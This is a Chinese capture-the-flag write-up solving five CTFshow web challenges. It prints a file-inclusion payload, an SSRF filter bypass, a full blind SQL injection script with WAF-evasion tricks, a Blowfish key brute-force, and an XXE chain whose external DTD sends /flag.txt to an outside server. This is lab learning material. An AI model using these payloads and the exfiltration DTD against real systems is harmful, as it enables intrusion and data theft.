CTF SHOW平台的WEB AK賽:
-
簽到_觀己
<?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ die('error'); }else{ include($file); } }else{ highlight_file(__FILE__); } ?>
簡單的代碼審計,這里進行過濾了 php ,應該是為了禁止使用php偽協議,然后包含傳入的file文件,我們可以直接猜測根目錄下存在flag文件
payload為:
?file=/flag.txt
獲得flag
-
WEB1_觀字
簡單的代碼審計
<?php #flag in http://192.168.7.68/flag if(isset($_GET['url'])){ $url = $_GET['url']; $protocol = substr($url, 0,7); if($protocol!='http://'){ die('僅限http協議訪問'); } if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){ die('僅限域名地址訪問'); } system('curl '.$url); }
首先給出了提示:
#flag in http://192.168.7.68/flag
flag在內網服務器的根目錄下,而我們一般都是使用SSRF漏洞進行內網探測。
然后限制傳入的url的協議只能是http
$url = $_GET['url']; $protocol = substr($url, 0,7); if($protocol!='http://'){ die('僅限http協議訪問'); }
過濾了一些特殊字符
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){ die('僅限域名地址訪問'); }
第一個過濾的字符就是符號 點 ,但想要探測IP的時候會用到 . ,尋找替代字符
使用句號替代點,構造payload為:
?url=http://192。168。7。68/flag
-
WEB2_觀星
訪問頁面,可以看到有三篇文章
點擊之后可以看到每篇文章的內容不一樣,且URL格式為:
index.php?id=1
猜測是SQL注入漏洞
輸入單引號后顯示被攔截
使用異或符號檢測(為什么用異或符號?這個看個人習慣和直覺吧)
構造payload為:
index.php?id=1^2
index.php?id=1^3
1^2為01^10,結果為11,即3
1^3為01^11,結果為10,即2
得到的結果與我們的預想一致,存在SQL異或盲注漏洞
SQL盲注的payload一般為(我們根據題目條件進行相應構造):
id=1^if(ascii(substr(database(),1,1))=102,2,3)
使用 substr 函數截取database()的每一位字母
使用 ascii 函數獲取相應字母的 ascii 碼
使用 if 判斷 ascii 碼 是多少,雖然二分法效率比較高,但是對邊界條件需要考慮,所以一般情況下不如直接使用等號強行判斷ascii值
為真則返回2,為假則返回3
1^2,1^3的結果在前面我們已經判斷了,得到不同的文章,可以通過返回頁面的結果進行判斷
原理就是這樣,使用上述payload,關鍵字被過濾
進行SQL注入繞過,繞過學習自羽師傅的博客:
https://blog.csdn.net/miuzzx/article/details/107706685
對上面的payload進行轉換:
空格使用括號來代替:這個很常見,也有的時候會使用注釋來替換空格
單引號用十六進制來代替 : 常見,如果在查詢字段名的時候表名被過濾,或是數據庫中某些特定字符被過濾,則可用16進制繞過:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273為users的16進制
substr 中的逗號,使用 substr(database() from 1 for 1) 來代替substr(database(),1,1):
substr(database(),1,1)
從第1位字符起,截取 database()值的第一位
substr(database() from 1 for 1)
對比上面的payload,就可以知道 from for 是啥意思了
from 為從第幾個字符開始,for為截取幾個
如果 for 也被過濾了,使用 mid 和 reverse 函數進行繞過
if 中有逗號,使用 case when 來代替 if
用法舉例:
if(database()='xxx',sleep(3),1)
case when 替換繞過語句為:
case when database()='xxx' then sleep(3) else 1 end
ascii 使用 ord 來進行替換:
ORD()函數返回字符串中第一個字符的ASCII值
等號 和 like 使用 regexp 來進行代替:
關於REGEXP,有文章:https://xz.aliyun.com/t/8003
REGEXP編寫帶有正則表達式的SQL語句,在全文相等的情況下替代等號
於是可以構造payload
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
最終獲取flag的腳本為:
import requests baseurl='http://426c70b1-b58c-4b5e-8e2d-abf5bde77c46.chall.ctf.show/index.php?id=1^' value="" for i in range(1,50): print("i=" + str(i)) for j in range(38,128): # paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j) #paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j) # paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j) paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j) # "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j) newurl=baseurl+paylaod rep=requests.get(newurl).text # print(rep) if "I asked nothing" in rep: print(value) value+=chr(j) break
做的時候學習了不少繞過的技巧
不過這個腳本跑的時候好像最后一位跑不出來,得靠自己猜,比如出列名的時候為 fla,猜出為flag,還沒發現為啥
補齊括號提交
-
WEB3_觀圖
查看源代碼
看這個樣子存在文件包含漏洞,訪問該網址
看起來 Z6Ilu83MIDw= 像base64加密,解密失敗
直接訪問 showImage.php 文件,發現源代碼
<?php //$key = substr(md5('ctfshow'.rand()),3,8); //flag in config.php include('config.php'); if(isset($_GET['image'])){ $image=$_GET['image']; $str = openssl_decrypt($image, 'bf-ecb', $key); if(file_exists($str)){ header('content-type:image/gif'); echo file_get_contents($str); } }else{ highlight_file(__FILE__); } ?>
從 file_get_contents 可以看出是文件包含利用
代碼里面提示了我們:
//flag in config.php
文件名是使用DES加密
$str = openssl_decrypt($image, 'bf-ecb', $key);
加密所需的key在:
$key = substr(md5('ctfshow'.rand()),3,8);
而PHP rand()函數產生的數值的范圍最大為32768,我們可以編寫腳本進行爆破,爆破腳本為:
<?php for($i=0;$i<=32768;$i++){ echo $i.'<br>'; $key = substr(md5('ctfshow'.$i),3,8); $str=openssl_decrypt("Z6Ilu83MIDw=",'bf-ecb',$key); if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){ echo "key is ".$i.'<br>'; break; } }
在線環境運行一下,可知key is 27347
獲得key后得到config.php的加密后的文件名 : ?image=N6bf8Bd8jm0SpmTZGl0isw==
<?php $key = substr(md5('ctfshow'.'27347'),3,8); $str=openssl_encrypt("config.php",'bf-ecb',$key); echo $str;
將訪問到的圖片保存在本地,使用notepad++打開
-
WEB4_觀心
點擊占卜,可以看到api.php向外部請求了一個xml文件
可以推測是xml外部實體注入,即XXE漏洞
同時因為是向公網上的服務器發起請求,所以我們需要使用自己公網服務器構造攻擊鏈
在服務器上先編寫一個test.xml
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> <reset><login>bee</login><secret>Any bugs?</secret></reset>
用於請求外部dtd文檔
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt"> <!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>"> %p2;
XXE漏洞還不熟,等把upload靶場重做一遍后再深入學習一下XXE,本關大部分參考其他大佬的博客
接着burpsuite修改api參數訪問即可獲取flag
獲得flag:flag{0ff30e5b-b292-4026-965e-fdaa2d482c58}
參考鏈接: